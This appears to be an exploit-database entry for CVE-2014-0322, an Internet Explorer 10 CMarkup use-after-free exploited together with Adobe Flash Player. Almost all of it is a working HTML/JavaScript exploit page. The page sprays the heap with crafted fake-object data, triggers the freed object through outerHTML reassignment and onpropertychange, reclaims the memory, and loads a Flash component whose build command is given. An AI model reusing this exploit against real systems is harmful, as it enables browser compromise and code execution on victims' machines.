Internet Explorer 10 & Adobe Flash Player (12.0.0.70, 12.0.0.77) - CMarkup Use-After-Free



EKU-ID: 3969 CVE: 2014-0322 OSVDB-ID:
Author: Jean-Jamil Khalife Published: 2014-04-15 Verified: Verified
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<!--
 MS14-012 Internet Explorer CMarkup Use-After-Free
 Vendor Homepage: http://www.microsoft.com
 Version: IE 10
 Date: 2014-03-31 
 Exploit Author: Jean-Jamil Khalife
 Tested on: Windows 7 SP1 x64 (fr, en)
 Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
 Home: http://www.hdwsec.fr
 Blog : http://www.hdwsec.fr/blog/
 MS14-012 / CVE-2014-0322
  
 Generation:
    c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf
  
 E-DB Note: http://www.exploit-db.com/sploits/32851-AsXploit.as
  
-->
  
<html>
<head>
</head>
<body>
  
<script>
  
var g_arr = [];
var arrLen = 0x250;
  
function dword2data(dword)
{
    var d = Number(dword).toString(16);
    while (d.length < 8)
        d = '0' + d;
  
    return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}
  
function eXpl()
{
    var a=0;
  
    for (a=0; a < arrLen; a++) {
        g_arr[a] = document.createElement('div');
    }
      
    // Build a new object
    var b = dword2data(0x19fffff3);
    while (b.length < 0x360)
    {
        // mov     eax,dword ptr [esi+98h]
        // ...
        // mov     eax,dword ptr [eax+8]
        // and     dword ptr [eax+2F0h],0FFFFFFBFh
        if (b.length == (0x98 / 2))
        {
            b += dword2data(0x1a000010);
        }
        // mov     ecx,dword ptr [edx+94h]
        // mov     eax,dword ptr [ecx+0Ch]
        else if (b.length == (0x94 / 2))
        {
            b += dword2data(0x1a111111);
        }
        // mov     eax,dword ptr [edx+15Ch]
        // mov     ecx,dword ptr [eax+edx*8]
        else if (b.length == (0x15c / 2))
        {
            b += dword2data(0x42424242);
        }
        else
        {
            b += dword2data(0x19fffff3);
        }
    }
      
    var d = b.substring(0, ( 0x340 - 2 )/2);
      
    // trigger
    try{
        this.outerHTML=this.outerHTML
    } 
    catch(e){
          
    }
      
    CollectGarbage();
  
    // Replace freed object
    for (a=0; a < arrLen; a++)
    {
        g_arr[a].title = d.substring(0, d.length);
    }
}
  
// Trigger the vulnerability
function trigger()
{
    var a = document.getElementsByTagName("script");
    var b = a[0];
    b.onpropertychange = eXpl;
    var c = document.createElement('SELECT');
    c = b.appendChild(c);
}
  
  
  
</script>
<embed src=AsXploit.swf width="10" height="10"></embed>
</body>
</html>